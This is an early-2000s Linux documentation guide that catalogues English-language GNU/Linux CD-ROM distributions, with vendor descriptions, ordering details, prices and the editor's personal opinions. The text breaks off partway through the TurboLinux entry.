If you are associated with a CD-ROM distribution we don't list, please see Section 5 near the end of this document for information on making a submission. It's easy to do and should take less than five minutes.

For a more complete list of distributions (albeit with perhaps slightly less information on each), see the Linux HQ distributions list; or the full distributions site.

Disclaimer: We make absolutely no guarantee as to the correctness of the information, prices, and ordering details given in this document. Check the date-last-modified field of each distribution to get an idea of its currency, then go to the vendor's web page for up-to-date information. Furthermore, unless otherwise stated, all GNU/Linux software comes with ABSOLUTELY NO WARRANTY.

The editor tries to stick to facts in most of this document, but — inevitably — has personal opinions on the state of the Linux market. You can read these under Section 1.5.

Personal disclaimer: I [msw] have no financial connection with any Linux vendor, nor have I accepted any remuneration or perquisites from any vendor. No free disks for review*; not even as much as a T-shirt. (But hey — I'm always open to offers. XXL.)

(* Since I first wrote this, S.u.S.E. has very kindly let me have a copy of 7.2 Professional for review. Thanks, guys. I'd already bought my own copy of 7.1, as it happens; but up-to-date versions are always appreciated.)

1.2. New versions of this document

This document will be regularly posted to the newsgroup comp.os.linux.answers The document is also archived on a number of Linux FTP sites, including metalab.unc.edu in pub/Linux/docs/HOWTO.

You can also view the latest version of this document on the World Wide Web via the url http://www.startext.co.uk/msw/CD_Distributions_EN/index.html. (And of course, the wiki version is always available at: http://startext.demon.co.uk/admin/distwiki/)

Feel free to mail any questions or comments about this document to the current editor, Martin Wheeler (msw@startext.co.uk). Please do not send general Linux questions or requests for help in choosing a distribution (unless you're willing to hire me at my commercial consultancy rates); I don't have time to deal with them; and I try to put everything I know about choosing a suitable distribution into this document.

1.3. Recent changes

Wikiwikiweb and wikitext versions both brought online. (The wiki versions were started in September 2001 and March 2002 as an ongoing experiment in collaborative writing.)

- details of (some!!!) individual distributions brought up to date

- text markup upgraded from DocBook 3.0 to DocBook 4.1

- division of distributions into two lists

- increased number of distributions covered

- inclusion of inline images for company logos

- added scope for inclusion of reviewers' remarks

The editorship and maintenance of this document was taken over from Eric S. Raymond (esr@thyrsus.com) by Martin Wheeler in January 2001; and although much of the original text has been retained, all controversial statements and opinions should be considered solely those of the current editor(s).

1.4. Overview of the Linux market

In the beginning (say 1993), a GNU/Linux distribution was something you downloaded off the Internet onto floppies. Installation was a lengthy, laborious and error-prone process; repeated frustrations due to bad (magnetic-disk) media were common.

Then came cheap CD-ROM drives, and the cheap-to-produce CD-ROM — a medium ideally suited for shipping large volumes of operating-system software at low cost. A whole mini-industry has now built up around commercial CD-ROM GNU/Linuxes; and because the vendors have the actual cash flow to fund support and marketing these days, they have come to dominate the Linux world. Debian is now the only significant non-commercial release; and despite the ease with which software may be downloaded from the internet these days, even it seems to be propagated to new users largely by the ubiquitous CD-ROM.

(In all fairness, it should be noted here that the rise in popularity of GNU/Linux systems over the past five years has been due in no small measure to the increased number of applications packages bundled with each distribution — from circa 400 in 1995 to just under 4,000 in 2000. What used to be distributable on a single CD is now usually spread over four or six disks. Downloading a `full' distribution is no longer a real option for most users, whether experienced or novice.)

Most of the CD-ROM distributions (including Slackware, S.u.S.E. Debian and Red Hat) are still available for FTP from the home sites of their developers. But if you have a CD-ROM drive and a few euros to spare, you will have many more distributions and more support options to choose from (and you'll usually get some well-produced and useful paper documentation with it). For more on the details of installation, see the Linux Installation HOWTO, (http://www.linuxdoc.org/HOWTO/Installation-HOWTO/index.html).

Prices for CD-ROM distributions of Intel GNU/Linux software start at around 4 or 5 euros for a single disk, and can go all the way up to EUR 100 for a boxed set, with manuals. (And those extra euros can buy real value.) Many vendors also sell subscription deals that will lower your cost-per-CD for regular updates over the subscription period. Prices may be even higher when commercial packages (e.g. graphics or word-processing applications) are bundled in with the basic distribution.

Price correlates with features and quality pretty well (as one would expect in a very competitive market). I would personally recommend paying the few extra euros for a top-drawer original CD-ROM distribution; this will pay off in fewer installation and administration hassles down the road. (For example, installation of S.u.S.E. 7.0 from DVD now takes little over 20 mins on a fairly run-of-the-mill machine, with automatic detection of most network and video cards. Compare that with the one-and-a-half hours it took me to install my first copy of Linux-FT, which — at the time — I thought was a dream installation.)

Making good choices is also much simpler than it used to be. In 1995-96 the Linux market underwent a serious shakeout, with only a very few commercial distributions emerging as leaders, while the weaker ones disappeared or stagnated. (My own personal favourite at the time — Linux-FT — went down without trace. RIP Unifix — welcome S.u.S.E.) The toll among general-purpose non-commercial distributions has been even fiercer. Essentially, only Debian (and derivatives) survive in this role.

As a result, the three-tier structure of primary distribution builders, value-added repackagers, and bottom-feeding CD shovellers that used to define the market has nearly collapsed. To be competitive in the third millennium, a Linux vendor (whether commercial or non-commercial) has to offer reasonable support and behave like a primary distribution builder, whether it really is one or not.

As long as you look for a recent freeze date though, it is pretty hard to get stuck with a duff distribution these days.

1.5. Personal opinions

Martin Wheeler

In this section, I present my own opinions, for what they're worth. However, there is no substitute for making your own evaluation, based on experience — plus the data in this guide, of course. These opinions are intended more to show up any possible personal bias than as a guide to what anyone else should do.

In the beginning was Slackware — usually to be found along with a few other goodies on the cover disks of the more enlightened magazines. But from the beginnings of the Linux (CD-ROM) industry circa 1993 until the autumn of 1995, Yggdrasil was top distribution — it essentially founded the CD-ROM market in North America, then set the standard for everybody else. (In Europe of course, Slackware reigned.) The previous editor of this document, Eric Raymond, described how he used Yggdrasil, and recommended it over commercial System V versions for its "superior documentation, large collection of applications, and enlightened policy of sending free releases to open-source authors, then dedicating part of the price of each CD-ROM to financially supporting free software". Unfortunately, Yggdrasil hasn't issued a new release since 1995, and they've now been left well behind by the market.

Personally, after playing with Slackware for a while, I toyed with the idea of Yggdrasil, but instead moved on to a distribution which gave me what I wanted at the time — my own personal webserver; an X interface; and enough development and SGML editing tools to keep me happy for years. (Plus a rather nice system which loaded and unloaded applications for me automatically, according to how much I used them.) Unfortunately, Linux-FT was not to endure; and in 1996 I finally settled on Debian as my ideal distribution, as I had come to want more, and was also a far more experienced user by then. There is an important point to be noted by first-time buyers here — go for whatever distribution gives you what you most want at the time; then change with your needs. The financial costs incurred in doing this are negligible.

In previous versions of this document, Eric Raymond wrote: "I now run Red Hat Linux and am quite satisfied with it. They have successfully created a de-facto standard in distribution packaging with RPM (now also used by SuSE and Mandrake, among others). They've made most of the right moves at the right times and I consider them the current market leader."

This may still be true for North America; but in Europe Red Hat is rapidly falling into third place behind the very much more popular S.u.S.E. and Mandrake distributions; and the "standard" RPM application packaging is turning out to be not quite as standard as one might wish for — as RPMs from one distribution do not necessarily always transfer to another.

Eric himself has now given up vanilla Red Hat and has written to tell me he's been running the KRUD version for the last year and is very happy with it. It just goes to show...

However, one of the major influences in decision-making for most newcomers to GNU/Linux is not so much the number of useful packages included with any distribution, but the perceived sexiness of the user interface it uses as its default. (All distributions will run all X desktop environments and window managers, given the right hardware resources — but not all distributions are set to default on startup to the most attractive screen presentation for the novice user.) Be aware of this when evaluating different distributions — it is surprising how many potential new users interpret the sizzle as the steak.

But if you're ideologically wedded to using a non-commercial distribution, Debian seems to be the clear choice: the only one left with a serious support team behind it, and a rock-solid package management system, allowing trouble-free translation to and from other package management systems.

Certainly, in my own experience, Debian suits my personal needs best. Nevertheless, despite any efforts I might make to persuade them otherwise, my commercial clients invariably plump for S.u.S.E. or Mandrake as their choice of first distribution. (As ever, it's a case of horses for courses.)

These opinions should certainly not be interpreted as an unconditional endorsement; different Linux distributions are optimized for different needs, and yours may well be best served by some other distribution (especially if, unlike us, you're mainly a DOS user and are looking for a distribution tuned for dual-boot systems and being launched from DOS).

Furthermore, industry standing is volatile. By the time you read this, Debian, S.u.S.E. or Red Hat may well have fallen out of favour or fashion, and been displaced by hungrier newcomers offering more and better features. (And the obligatory sexier graphical interface of course.)

Prev | Home | Next
English-language GNU/Linux distributions on CD-ROM |  | Best-known distributions


Best-known distributions

English-language GNU/Linux distributions on CD-ROM: (formerly: The Linux distributions HOWTO)
Prev Next

2. Best-known distributions

(listed in alphabetical order)

The handful of distributions listed here are those which are most widely known by the general public, or referred to most often by the specialist media, or those most commonly found in retail outlets in English-speaking countries. What exact sales percentage of the total GNU/Linux distributions market they represent is unknown — but it is certainly extremely high. Between them, they account for almost all that the (generally uninformed) public knows about "Linux".

2.1. Caldera OpenLinux

Name:

Caldera OpenLinux

Distributor:

Caldera, Inc.
633 South 550 East
Provo
Utah 84606

E-mail: info@caldera.com
WWW: http://www.caldera.com/
FTP: ftp://ftp.caldera.com
Vox: (801)-377-7678
Fax: (801)-377-8752

Provider's description:

Caldera is shipping OpenLinux 1.2 in a three-tiered family of products: OpenLinux Lite, OpenLinux Base, and OpenLinux Standard.

OpenLinux Lite is a freely available evaluation of the OpenLinux product (it includes a 90-day evaluation of the Caldera integrated desktop — the full licensed version of the desktop is included in the Base and Standard products). OpenLinux Lite can be downloaded from Caldera's ftp site, or obtained on CD for the cost of shipping. It is also designed for use by book and software publishers to provide a commercially stable Linux offering with their books and software products.

OpenLinux Base contains everything that is in Lite plus it is a complete, easy-to-install Linux operating system, with integrated desktop, Internet client and server components, and Intranet connectivity. OpenLinux Base includes Netscape Navigator and full documentation.

OpenLinux Standard includes what is in Base plus more high-end, name brand, commercial software components (such as Netscape FastTrack Web Server, Netscape Navigator Gold Web browser and authoring tools, ADABAS D database, StarOffice productivity suite, Caldera OpenDOS, and NetWare client and administration tools).

All three tiers of the OpenLinux 1.2 release are currently available.

With Caldera OpenLinux, you can see a whole world of powerful new computing, even the power of a UNIX workstation on your PC! By using a Linux kernel, OpenLinux gives you speed and stability that compare to systems costing thousands of dollars. Open Linux also gives you:

  • Real multi-tasking runs many text or graphical applications at once; no application can cause another to crash, unlike less robust systems.

  • The Linux 2.0 kernel gives super-fast TCP/IP access to the Internet, plus loadable device drivers, for the most efficient use of your system resources.

  • Easy-to-follow, quick installation with menu-based choices and auto-detection of your hardware make installation a snap on most systems. The Getting Started Guide (included) provides a step-by-step illustrated procedure, with troubleshooting tips.

No other Linux system includes a complete, integrated desktop interface with configuration tools and graphical editor. Its powerful drag-and-drop capabilities come pre-configured with thousands of icons and application settings. The Desktop provides a convenient place where you can store your favorite programs and data files for instant access. The Desktop gives you:

  • Drag-and-drop launching of programs with data files.

  • An integrated graphical text editor.

  • Easy access to an array of powerful system configuration tools.

  • A configurable icon bar, custom layouts, and preference settings.

  • Powerful file management using drag-and-drop or graphical dialogs.

Internet access:

WWW: http://www.caldera.com/
FTP: ftp://ftp.caldera.com

Ordering:

By e-mail with PGP key, by phone, by fax, or by conventional mail. Full ordering details are at http://www.caldera.com/mpro/orinfo/orderinfo.html.

Support:

Caldera is one of the only Linux distributors to offer E-mail and telephone support. OpenLinux Base (E-mail only) and Standard (Telephone and E-mail) users are fully supported (Standard users receive 5 free incident calls during the first 30 days). There is no technical support for the Lite product.

OpenLinux Base and Standard ship with full licensed versions of the Caldera Desktop, which do not expire. OpenLinux Lite ships with a 90-day evaluation version of the Desktop.

Last freeze date:

Entry last modified:

21 January 2001

Reviewer's comments:

2.2. Debian GNU/Linux

Name:

Debian GNU/Linux

Distributor:

Software in the Public Interest, Inc.
PO Box 1326
Boston
Ma. 02117 USA

Net: info@debian.org
WWW: http://www.debian.org/
FTP: ftp://ftp.debian.org/debian

Provider's description:

Debian GNU/Linux is the result of a volunteer effort to create a high-quality non-commercial Linux distribution. Debian GNU/Linux 2.2 is a complete and fully-functional Unix-compatible operating system for the personal computer. It contains around 8000 packages, making it by far the largest free software distribution.

Debian GNU/Linux is available for the IBM PC architecture (386/486/Pentium), m68k, SPARC, Alpha, PowerPC, and ARM. Ports to MIPS, HP PA-RISC, IA64 and GNU/Hurd are under way and are likely to be released with the next distribution (Debian 3.0, codename "Woody"), undergoing extensive testing at this time.

Debian GNU/Linux is an easy-to-upgrade distribution that consists of freely redistributable software from a number of different sources and systems. Non-free packages may also obtained, making Debian a well-rounded system. It is noteworthy that the Debian Free Software Guidelines formed the basis of the Open Source definition. Debian proper consists only of free packages which are freely distributable and freely modifiable - Debian "main"; and some packages which, though in themselves free software, rely on non-free software - Debian "contrib".

The benefits of Debian GNU/Linux are its upgradability, well-defined dependencies between packages, and its open development. It is the only GNU/Linux distribution that is being developed co-operatively by many individuals over the Internet, in the same spirit as the Linux kernel and other open-source operating systems. More than 900 package maintainers are working on over 8000 packages and improving Debian GNU/Linux. A sophisticated bug tracking system allows users to easily report bugs and security concerns which are quickly dealt with by the Debian community. A command-line tool, 'apt-get', can be used to dynamically upgrade your system from the large Debian archive network.

Debian GNU/Linux is a very dynamic distribution, although it does prefer well-tested stability to having the very latest available. Major releases are generally made about every year, point releases and security fixes are released as appropriate, averaging one every few months. The current "stable" release is 2.2 release 5 - i.e. major release 2.2, but point release 5. The Debian archives are updated daily ; and upgrading discrete elements of the system is a common and supported operation. A recent change designed to speed the release process has been the creation of package pools. Debian now has three development streams: * "unstable" - changing daily; * "testing" - tracking unstable, but with a delay of a few days and significant further testing; and * "stable" - released as a major version, as above.

The move between each of the development streams also ensures a smooth update process when moving from "old stable -> testing -> new stable release.

For more information about Debian GNU/Linux, please visit our World Wide Web page at http://www.debian.org/. There is also a book, Running Debian GNU/Linux, from O'Reilly & Associates.

If you're interested in joining this project, you are invited to subscribe to either debian-user@lists.debian.org, or debian-devel@lists.debian.org by sending a mail to debian-user-request@lists.debian.org (or debian-devel-request respectively) with the word "help" in the subject line.

Internet access:

Debian GNU/Linux is available for download via anonymous FTP or HTTP; see http://www.debian.org/distrib/ftplist.

Ordering:

A number of vendors can provide CD-ROMs or snapshots.

Support:

Aside from self-serve support via mailing lists, IRC, or the online Bug Tracking System, there is also a number of consultants providing support.

Last freeze date:

10 January 2002 (2.2r5)

Entry last modified:

14 January 2002

Reviewer's comments:

What can I say? I use it every day; the wikiweb version is running on a Debian box; all my machines at home (except one) run Debian; I regularly use it for training Linux sysadmins. All in all, it's cooler than a penguin's backside in mid-winter. -- msw (mailto:msw@startext.co.uk)

2.3. Mandrake Linux

Name:

Mandrake Linux

Distributor:

MandrakeSoft
Daniel Morales - MandrakeSoft 818.834.9860
Caroline Carmagnol - Alizé Public Relations 650.323.1607
<mandrake@linux-mandrake.com>

Net: mandrake@linux-mandrake.com (orders)
WWW: http://www.linux-mandrake.com
Vox: 818.834.9860

Provider's description:

Mandrake is inspired by Red Hat(tm) Linux, with many improvements and pre-configured applications which make it easier to use for beginners, and faster for everyone.

Mandrake is available both in the GPL Edition and in the PowerPack Edition which includes 5 CDs and commercial applications. The GPL Edition CD (base system and applications) is freely available from the Internet as an iso image.

Mandrake 6.0 won two LinuxWorld Editors' Choice Awards and was a runner up at LinuxWorld Expo, San Jose, CA in August 1999:

  1. Best Linux Product of the Year.

  2. Best Distribution/Server.

  3. finalist for Best Distribution/Client.

Mandrake 6.1 (Helios) features:

  1. Linux-Kernel: 2.2.13 (pre4)

  2. XFree86: 3.3.5

  3. Glibc: 2.1.1

  4. RPM: 3.0.3

  5. Bash: 2.03

  6. KDE: 1.1.2 (with Mandrake customization)

  7. Gnome: built from 1.0.4->1.0.14 versions (with Mandrake customization)

  8. Enlightenment 0.16-dev5, Windowmaker 0.60, AfterStep 1.7.111, XFCE 3.0.2, IceWM 0.9.48

and many applications such as Apache, MySQL etc.

In Mandrake, packages have been compiled with CPU optimizations for pentium-class (intel, amd, cyrix, winchip...) and higher processors resulting in speed improvements up to 30%.

Internet access:

http://www.linux-mandrake.com/en/ftp.php3

Ordering:

Free download available from Internet. The Linux-Mandrake PowerPack price is typically between $45 and $50. Payment method depends on the distributor. Distributor lists available at: http://www.linux-mandrake.com/en/fsinglecd.php3.

Support:

The PowerPack is provided with 100 days of support by e-mail.

Several specialized mailing-lists and a USENET newsgroup (alt.os.linux.mandrake) are available for support between users.

Bynari Systems Group and LinuxCare also provide complete support for Mandrake.

Last freeze date:

Sep 17, 1999 for Mandrake 6.1 (Helios). Update frequency: about 4 months.

Entry last modified:

18 September 1999

Reviewer's comments:

2.4. Red Hat Linux

Name:

Red Hat Linux

Distributor:

Red Hat Software
3201 Yorktown Rd, Suite 123 DeKalb Center
Durham
NC 27713

Vox: (800) 546-7274 or (919) 572-6500
Fax: (919) 572-6726
Net: redhat@redhat.com
WWW: http://www.redhat.com/
FTP: ftp://ftp.redhat.com

Provider's description:

Red Hat 6.1 is based on the 2.2 kernel and is available for Intel, Sparc and Alpha platforms.

Four installation innovations make Red Hat the easiest Linux to install ever. Our graphical installation mode brings you straight up into X for most of the installation. Our boot disk creation script eases selection of the proper boot disk, and it saves your existing network configuration information and XF86Config so you don't have to configure TCP/IP or X! Our FTP install allows you to install simply by downloading 3 floppy disk images — the rest is done automatically! And finally, the installation includes seamless support for PCMCIA devices — install Red Hat on your laptop as easily as on your desktop machine!

After installing Red Hat Linux once, you will never need to reinstall Linux again! The new RPM packaging system is sophisticated enough to allow upgrading to new Red Hat releases without reinstalling your system - no partitioning, no backing up all your files, no headaches.

Internet access:

Ordering:

Available directly from Red Hat Software and most distributors of Linux related products. Please contact Red Hat Software for ordering details (on-line ordering is available through Red Hat's Web). Suggested retail price for the Standard version is $29.95; for the Professional (server) version $149.95; for the Deluxe version $79.95.

Support:

Last freeze date:

Unknown.

Entry last modified:

1 Nov 1999.

Reviewer's comments:

The big selling point of this distribution is RPM, the Red Hat Package Manager. This piece of software is a remarkable advance; it allows you to cleanly install and de-install applications and operating-system components, including the kernel and OS base itself. RPM is now used as well by essentially all other distributions except Debian. [esr]

2.5. Slackware Linux

Name:

Slackware Linux

Distributor:

Walnut Creek CDROM
4041 Pike Lane, Suite D
Concord
CA 94520

Net: info@cdrom.com (information),
order@cdrom.com (orders),
support@cdrom.com (support).

Provider's description:

Ftp.cdrom.com is the home of Slackware Linux. We are the publishers of the Official Slackware Linux CDROM. Our distribution is a 4-disc set with the current version being Slackware 96. The current disc is based on the 2.0.34 kernel.

Slackware Linux is a full-featured distribution of the Linux operating system designed for 386/486 computers with a 3.5" floppy and CD-ROM drive.

Internet access:

WWW: http://www.cdrom.com/titles/os/slack96.htm
FTP: ftp:ftp.cdrom.com/pub/linux/slackware

Ordering:

The cost of the CD-ROM set from Walnut Creek is $39.95.

Support:

Last freeze date:

July 1998 (3.5)

Entry last modified:

13 August 1998.

Reviewer's comments:

Unfortunately, Walnut Creek was sold to WindRiver? - who bought the site for the rights to FreeBSD and had no interest in Linux. This meant that Slackware was homeless for a while and is now found at ftp.slackware.com. The lack of commercial support has meant that Patrick Volkerding has had to scale back the project.

2.6. S.u.S.E. Linux

Name:

S.u.S.E. Linux

Distributor:

S.u.S.E., Inc.
458 Santa Clara Ave
Oakland
CA 94610 - USA

Net: info@suse.com
WWW: http://www.suse.com/
FTP: ftp://ftp.suse.com
Vox: +1-510-835-7873
Fax: +1-510-835-7875 fax

Provider's description:

S.u.S.E. Linux offers users of all levels, from novice to expert, quick and easy entry into the world of Linux and Unix. Resources such as a menu-driven installation from CD-ROM, a modular boot diskette, 400-page reference book and S.u.S.E.'s own system administration tool YaST, allow one to quickly get Linux installed and running, and to keep it running smoothly.

Furthermore, S.u.S.E. offers a series of supported X servers, which support the newest graphics cards. These servers are created in co-operation with the XFree86 (tm) development team. See the following url for more details: http://www.suse.de/XSuSE/.

New in S.u.S.E. Linux 5.3:

  • Kernel 2.0.35

  • KDE 1.0

  • GIMP 1.0

  • SaX (SuSE advanced XF86 configuration tool)

Quick overview of other features:

  • The Linux OS, over 875 software packages, including complete sources and live file system on 4 CD-ROMs

  • 400 page reference book

  • Packages in RPM format; TGZ packages installable

  • System V compatible boot concept, compliance with file system standard

  • Installation and administration utility 'YaST' configures network, ISDN, e-mail, printer, X Window System

  • S.u.S.E. X servers which support new graphics cards

  • Administration of file systems, users, groups

  • Automatic configuration of several window managers

  • Online help system and documentation

  • Demo mode, either directly from CD-ROM, or on DOS partition

Internet access:

Ordering:

You can download from ftp://ftp.suse.com/pub/SuSE-Linux. For the CD-ROM with support, order vphone, secure WWW order form, fax, or post. Price is $49.95, or $34.95 per edition by subscription. Use order code LSUE520 for the English version, LSUD520.

Also available: OSF Motif 2.1 for $129.95 (price for update to be determined; order code: LMEA210

Support:

60 days of free installation support are included with each purchase of S.u.S.E. Linux. See the web page for contact info and conditions.

Last freeze date:

Unknown.

Entry last modified:

13 Aug 1998 (5.3)

Reviewer's comments:

Prev | Home | Next
Introduction |  | Other distributions


Other distributions

English-language GNU/Linux distributions on CD-ROM: (formerly: The Linux distributions HOWTO)
Prev Next

3. Other distributions

All these distributions are available on CD-ROM (some of the non-commercial ones only show up on network-archive snapshots). Most of these are available for free over the network (but the commercial ones won't support you if you buy this way). They are custom-assembled, rather than just being re-packagings of a pre-existing network release.

They are listed in alphabetical order.

3.1. KRUD - Kevin's Red Hat Uber Distribution

Name:

KRUD

Distributor:

tummy.com, ltd
200A North College Avenue
Fort Collins
CO 80524

Net: info@tummy.com
WWW: http://www.tummy.com/krud
FTP: ftp://ftp.tummy.com
Vox: (970)-494-0355
Fax: (408)-490-2728

Provider's description:

KRUD is a monthly updated distribution based on Red Hat. It includes all of the current Red Hat distribution with full errata, and is available by subscription or as a single CD. Also included are a variety of useful packages for Linux, including several security-related packages such as ssh and isinglass. These additions are hand-selected by the author of the Linux Security HOWTO. Requires standard RedHat-compatible hardware. Currently, KRUD is not for export because it contains crypto software.

Internet access:

Available on CD-ROM only because of export restrictions.

http://www.tummy.com/krud/

Ordering:

KRUD is available on CD. You can purchase a 12 month subscription for $65, a single issue for $7. Special rates available for subscription renewals. International shipping available.

https://www.tummy.com/krud/onlineorder.html (online) http://www.tummy.com/krud/mailorder.htm (by mail) $7/US each $65/US 12 issue subscription (monthly update). Visa/Mastercard/Discover/Amex credit cards accepted. University and large business purchase orders. Postal money orders are also accepted.

Support:

tummy.com is a full service Linux consulting firm. KRUD support is available on an hourly or contract basis from tummy.com, Ltd. Rates start at $150/hour.

KRUD helps you keep up with the flood of errata and package upgrades by offering a monthly CD-ROM subscription delivered to you at a reasonable price.

Last freeze date:

KRUD is updated monthly. Most recent version is dated 2001-01-01.

Entry last modified:

2001-01-30

Reviewer's comments:

(coming shortly)

3.2. Linux by Libranet

Name:

Linux by Libranet

Distributor:

Libra Computer Systems Ltd.
1860 Langworthy Street
North Vancouver, BC
V7K 1N8

Net: sales@libranet.com (orders)
Net: support@libranet.com (support)
Net: faq@libranet.com (faq)
WWW: http://www.libranet.com/

Provider's description:

Based on the Debian distribution, it allows users to start with an already configured desktop complete with the most commonly used applications. The simple installation gets the system up and running easily. This is a major benefit to those new to Linux and a great time-saver for the experienced.

Internet access:

Ordering:

Available on CD for intel i386 and higher compatibles. Order via the web at http://www.libranet.com or fax/mail order. One year free support via email and fax.

Support:

The Linux by Libranet Desktop brings Debian, traditionally the choice of developers, to the desktop user.

Last freeze date:

Updated CD about every 4 months.

Entry last modified:

1 November 1999

Reviewer's comments:

3.3. LinuxGT

Name:

LinuxGT

Distributor:

All pointers to this distribution have been removed from this document pending valid addresses being provided by the distributors. Apologies to anyone who found themselves directed to a site dedicated to pornographic images in previous versions. - msw

Provider's description:

Internet access:

Ordering:

Support:

Last freeze date:

Entry last modified:

15 March 2002

Reviewer's comments:

3.4. Linux Pro

Name:

Linux Pro

Linux Pro - "It's dead, Jim" (Star Trek, Dr. McCoy?, passim.) Web site still references Linux but only as a pointer to Ebiznet or some such. WGS were bought out by LinuxMall?, I think. Certainly not current. (amacater@galactic.demon.co.uk)

Distributor:

WorkGroup Solutions, Inc.
P.O. Box 460190
Aurora, CO 80046-0190

Vox: (303)-699-7470
Fax: (303)-699-2793
Net: info@wgs.com (orders)
FTP: ftp://ftp.wgs.com/pub2/wgs

Provider's description:

The charter of the WGS Linux Pro CD is different from all other distributions currently on the market. We are actively pursuing penetration into the commercial marketplace for Linux. Everything we do is aimed at increasing the size of the Linux community, and helping Linux to become THE one true operating system, not just an operating system.

WGS Linux Pro consists of our Main "Stable" Linux CD, for which we select what we consider to be the best Linux distribution available. Then we make bug fixes & minor enhancements. This CD often contains software older than the latest, under the theory that "the latest is not always the greatest". Together with this approach we provide technical support as well as support agreements. For this reason WGS Linux Pro is considered a primary Linux distribution. Optionally, and in addition to our primary CD, we supply supplemental CDs containing all the latest Linux software (including current archives of the tsx-11, metalab, and Red Hat sites). Virtually anything you will get with anyone's Linux product can be found on these supplemental CDs. We continually add more to these supplemental CDs as software becomes available. Even with all this, pricing on our product line is very favorable when correctly compared to other Linux distributions. Also optional (included with Linux Pro+) is a professionally produced and printed manual containing the Linux documentation project and more!

Current version is 4.0a; kernel is 1.2.13 with installable 2.0.x on the CD.

Internet access:

Look in http://www.wgs.com/ for a list of WGS products, and latest information on the CD-ROM.

Ordering:

WGS Linux Pro is available on CD from dealers and distributors worldwide, and soon from our FTP site.

You may call, fax, email, or mail us, to purchase, or request additional information. We will be happy to respond to any question you have. We accept American Express, Visa, Discover, and MasterCard, or purchase orders with approval of credit.

Support:

Complete information is available on our FTP site.

WGS publishes a free E-Mail newsletter on Linux and FlagShip to which you may subscribe by just emailing us your request.

In addition we carry Motif, FlagShip, A line of books, and other products to make your experience with Linux more complete and fulfilling. Check us out!

Last freeze date:

1 October 1996.

Entry last modified:

13 March 1997

Reviewer's comments:

They describe their current distribution as "Red Hat 3.03 plus".

3.5. Redmond Linux

Name:

Redmond Linux

Distributor:

Redmond Linux Corp.
PO BOX 2313
Redmond
WA 98073-2313

Net: info@redmondlinux.org
WWW: http://www.redmondlinux.org
FTP: ftp://ftp.xxx.com
Vox: (425)-869-2930
Fax: (425)-671-0504

Provider's description:

Redmond Linux, Personal Edition, is designed with your ease of use in mind. Redmond Linux loads preconfigured for Internet access, home or small office productivity, financial management, multimedia, entertainment, and more.

Internet access:

http://www.ibiblio.org/pub/linux/distributions/redmondlinux/redmond ftp://ftp.ibiblio.org/pub/linux/distributions/redmondlinux/redmond

Ordering:

http://www.redmondlinux.org/purchase.ph

Support:

http://www.redmondlinux.org/support

Last freeze date:

Entry last modified:

January 12th 2002

Reviewer's comments:

3.6. Trans-Ameritech Linuxware

Name:

Linuxware

Trans-Ameritech Linuxware - "It's dead, Captain" (Star Trek). This is the one that references Linux on the web site along with Tarot cards, etc.

Distributor:

Trans-Ameritech
2342A Walsh Avenue
Santa Clara, CA 95051

Net: info@trans-am.com
WWW: http://www.trans-am.com
Vox: (408)-727-3883
Fax: (408)-727-3882
BBS: (408)-980-9840

Provider's description:

Trans-Ameritech had published 10 releases of Linux by early 1997. Traditionally, Trans-Ameritech has set new standards for combining ease of use and straightforward installation, even for a first-time user, with its line of LinuxWare CD-ROMs. This is a flexible, easy-to-install operating system geared toward those interested in learning Unix as well as technical people, students and home PC users.

  • New Linux users will appreciate a Windows-based set up program from the CD.

  • To minimize the possibility of hardware conflicts many extra kernels are provided for different configurations. They are usable for installation and normal operation.

  • Many on-line documents are provided for quick reference, including the Linux Documentation Project files in source, dvi and ps formats.

Many applications are included:

  • MS-Windows based X configuration program

  • C/C++,Pascal and Ada compilers as well as converters fron Fortran

  • TCP/IP networking, UUCP, SLIP, CSLIP, PPP

  • Internet access with binaries and sources for FTP, Telnet, News and E-mail

  • Multiple terminals and X-Windows environment

  • Gnu and international versions of the ispell spell-checker

  • The communications apps: term, minicom, Seyon (X-Windows based)

  • Editors: elvis (vi clone), joe, jove, Emacs

  • PostScript clone ghostscript

  • Object oriented GNU Smalltalk and the Smalltalk interface to X

  • TCL/Tk (Powerful scripting language with Motif-like X interface)

  • Programs for electrical engineers and ham enthusiasts

  • Interviews libraries,include files and doc Word-processor and idraw drawing program

  • Typesetting: TeX, LaTeX, xdvi, dvips, Metafont, groff

  • Andrew multimedia word processor with hyperlinks

  • FAX send and receive on either class 1 or class 2 fax modems

  • DOOM for game enthusiasts

All the sources are available on the CD-ROM. The often needed sources are uncompressed and can be used directly from the CD-ROM.

An uncompressed Linux filesystem is available for references and disk space conversaion. You can run programs directly from the CD-ROM! There is a large info directory for on-line reference and many manpages.

For hacker's reference, uncompressed FreeBSD and netBSD sources are provided.

Our distribution is targeted for Windows and DOS users who want an easy migration path upwards, rather than for UNIX experts.

Internet access:

Ordering:

Email orders are taken at order@trans-am.com

The price for our current release of LinuxWare 2.5 is $19.95

The price for a package order: LinuxWare 2.5,Supplement 5 and Supplement 4 (Ultimate LinuxWare Bundle) in one shipment is $30

If you order with a credit card (VISA, MC, AmEx, Discovery), please, indicate the card number, expiration date and your mailing address.

Shipping and handling in US: single CD-ROM or Ultimate LinuxWare Bundle is $5(first class US mail).

Overseas shipping is $8 for single CD-ROM , $12 for the bundle.

COD is available in the US only for $4.50. California residents, please add 7.75% sales tax.

Annual subscription (4 releases) is available for $80 plus S&H (note: there are 4 shipments in a subscription). Example: subscription in US is:$80+$5x4=$100. Subscription in Europe/Japan etc. $80 + $8x4 = $112.

Support:

If you have any further questions,please contact us through E-mail: info@trans-am.com or order@trans-am.com.

Last freeze date:

January 1997 (Supplement 5)

Entry last modified:

13 August 1998

Reviewer's comments:

3.7. Turbo Linux

Name:

Turbo Linux

Distributor:

TurboLinux, Inc.
2000 Sierra Point Parkway
Suite 401
Brisbane
CA 94005

Net: info@turbolinux.com (orders)
WWW: http://www.turbolinux.com/
FTP: ftp://ftp.turbolinux.com/
Vox: (650)-244-7777
Fax: 650-244-7766

Provider's description:

TurboLinux makes a suite of high-performance Linux products for the workstation and server markets. Our products are available from our Web site, at more than 3,000 retail stores in North America and from our value-added reseller partners around the world. Our products:

Workstation 6.0

TurboLinux Workstation 6.0 is your high-performance choice for Linux on the desktop. The powerful office productivity suite StarOffice gives you full Microsoft Office compatibility and Netscape gets you quickly online for e-mail and Web surfing.

Server 6.0

TurboLinux Server 6.0, completely re-engineered as a secure, high-performance backend server for business workgroups in the enterprise, now includes robust e-commerce software for business-to-business transactions.

TurboCluster Server 4.0

